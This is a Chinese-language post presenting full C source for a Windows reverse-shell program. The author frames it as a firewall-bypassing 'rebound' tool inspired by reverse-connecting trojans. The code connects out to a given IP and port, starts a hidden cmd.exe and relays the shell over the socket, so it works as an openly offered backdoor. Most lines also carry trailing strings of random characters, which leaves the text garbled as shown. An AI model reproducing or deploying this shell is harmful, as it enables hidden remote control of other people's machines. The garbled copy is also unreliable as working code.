这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ,vhR99g{
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/* ============================== yWK[@;S]%
Rebound port in Windows NT IaF79}^
By wind,2006/7 d~_OWCg`
===============================*/ l/I W"A
#include iCEX|Tj;
#include n+i}>3'A
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#pragma comment(lib,"wsock32.lib") _88~uYG
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void OutputShell(); I%s/h4x^B[
SOCKET sClient; E|fPI u
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; G37_
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void main(int argc,char **argv) g+CHF?O
{ rj5:YQEH;
WSADATA stWsaData; -FPl",f=r
int nRet; +<|w|c
SOCKADDR_IN stSaiClient,stSaiServer; B=p'2lla
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if(argc != 3) JEd/j
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{ v]1rH$
printf("Useage:\n\rRebound DestIP DestPort\n"); 6Rt pB\hq
return; ~\_E%NR
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} :dj@i6
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WSAStartup(MAKEWORD(2,2),&stWsaData);
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1GNAx\(
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stSaiClient.sin_family = AF_INET; a&<<X:$Hy
stSaiClient.sin_port = htons(0); s6
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); &,)tD62s
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) := 8vy
{ RU'J!-w{
printf("Bind Socket Failed!\n"); HvngjP{>
return; I[|I\tW
} ["7}u^z@<+
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stSaiServer.sin_family = AF_INET; _\<M58/z
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); +l#2u#e
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); !`Wu LhB`
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Xgm7>=l
{ 7D^A:f
printf("Connect Error!"); BKTsc/v2>:
return;
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} prWid3}
OutputShell(); 'SY&-<t(
} 3_ >R's8P
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void OutputShell() F,bl>;{[{
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char szBuff[1024]; h
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SECURITY_ATTRIBUTES stSecurityAttributes; jL8zH
OSVERSIONINFO stOsversionInfo; j{PX ~/
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; )<|T Ep4r-
STARTUPINFO stStartupInfo; Q&J,"Vxw
char *szShell; ^/+sl-6/F
PROCESS_INFORMATION stProcessInformation; ?-f>zx8O
unsigned long lBytesRead; Cr`
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); )0Lq>6j9
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); f.= E. %
stSecurityAttributes.lpSecurityDescriptor = 0; 0v_8YsZ!`$
stSecurityAttributes.bInheritHandle = TRUE; g DhwJks
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); "OPUGwf
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); =~h54/#[I
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); L`#+ZLo
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kpdFb7>|
stStartupInfo.wShowWindow = SW_HIDE; a:fHTU=\p
stStartupInfo.hStdInput = hReadPipe; 2
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; s:ruCS
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GetVersionEx(&stOsversionInfo); r)t^qhn
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switch(stOsversionInfo.dwPlatformId) VPHCPGrk
{ nqBuC
case 1: /\#5\dHj
szShell = "command.com"; 8syo_sC |
break; FMn&2fH
default: +@Y[i."^J
szShell = "cmd.exe"; +6=!ve}
break; {OOt+U!
} =(ZGaZ}
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); _a&|,ajy>
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send(sClient,szMsg,77,0); \ p$0
while(1) ,:`6x[ +
{ '!R,)5l0h
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); T?Y\~.+99
if(lBytesRead) _#C}hwOR>X
{ Xo`1#6xsE
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); z m'jk D|
send(sClient,szBuff,lBytesRead,0); ! Cl/=0$[L
} +2SX4Kxu
else RVfe}4Stm#
{ `y`xk<q
lBytesRead=recv(sClient,szBuff,1024,0); L?0l1P
if(lBytesRead<=0) break; ~S3eatM$9
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); \ax%I)3
} V5B-S.i@
} {Fi@|'
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return; @m V C
}